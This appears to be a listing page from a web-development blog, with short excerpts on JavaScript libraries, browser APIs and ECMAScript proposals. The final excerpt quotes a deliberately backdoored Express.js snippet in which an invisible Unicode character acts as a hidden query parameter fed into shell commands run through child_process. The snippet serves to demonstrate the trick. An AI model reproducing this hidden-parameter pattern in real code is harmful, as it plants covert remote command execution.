A rather geeky/technical weblog, est. 2001, by Bramus
If you don’t want to directly use the Web MIDI API, you can use WEBMIDI.js WEBMIDI.js makes it easy to interact with MIDI instruments directly from a web browser or from Node.js. It simplifies the control of physical or virtual MIDI instruments with user-friendly functions such as playNote(), sendPitchBend() or sendControlChange(). It also allows reacting …
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AnthumChris collected some JavaScript scripts to track the progress of fetch requests that download files/data. It works by leveraging the ReadableStream interface from the Streams API. A “simple” example is this: fetch('https://fetch-progress.anthum.com/30kbps/images/sunrise-baseline.jpg') .then(response => { if (!response.ok) { throw Error(response.status+' '+response.statusText) } if (!response.body) { throw Error('ReadableStream not yet supported in this browser.') } // …
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array.groupBy() and array.groupByToMap()
An ECMAScript Proposal that recently made it to Stage-3 is “array grouping”. It brings us array.groupBy() and array.groupByToMap() methods to easily group arrays.
No more hacking around with the inadequate JSON.parse() or bouncing data to a Web Worker in order to deep clone an object, as there’s now structuredClone() For the longest time, you had to resort to workarounds and libraries to create a deep copy of a JavaScript value. The Platform now ships with structuredClone(), a built-in …
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12 Days of Web is Stephanie Eckles‘s “advent” calendar. A year-end celebration of fundamental web technologies: HTML, CSS, and JavaScript. Three days in, and she has already covered Intersection Observer, <details> + <summary>, and CSS Custom Properties. Good stuff. 12 Days of Web → Related: Find more web advent calendars here.
Bundle Scanner identifies which npm libraries are used on any website. It downloads every Javascript file from a URL and searches through the files for code that matches one of the 35,000 most popular npm libraries. The scanning itself works in a pretty ingenious way: When a user requests to scan a website, Bundle Scanner …
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A bit of an older post, but still relevant: Tapas Adhikary goes over some HTML attributes one can set on an input[type=”file”], and uses of the File API: Simple file upload Multiple file uploads Know about file metadata Know about file accept property Manage file content Validate file size Show file upload progress How about …
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Floating UI is a low-level library for positioning “floating” elements like tooltips, popovers, dropdowns, menus and more. Floating UI exposes primitives which enable a floating element to be positioned next to a given reference element while appearing in view for the user as best as possible. Features include overflow prevention (or collision awareness), placement flipping, …
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There’s a bunch of Houdini Paint API posts and demos that I’ve enjoyed lately. Here’s a small roundup …
Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor. const express = require(‘express’); const util = require(‘util’); const exec = util.promisify(require(‘child_process’).exec); const app = express(); app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ ]; try { await Promise.all(checkCommands.map(cmd => …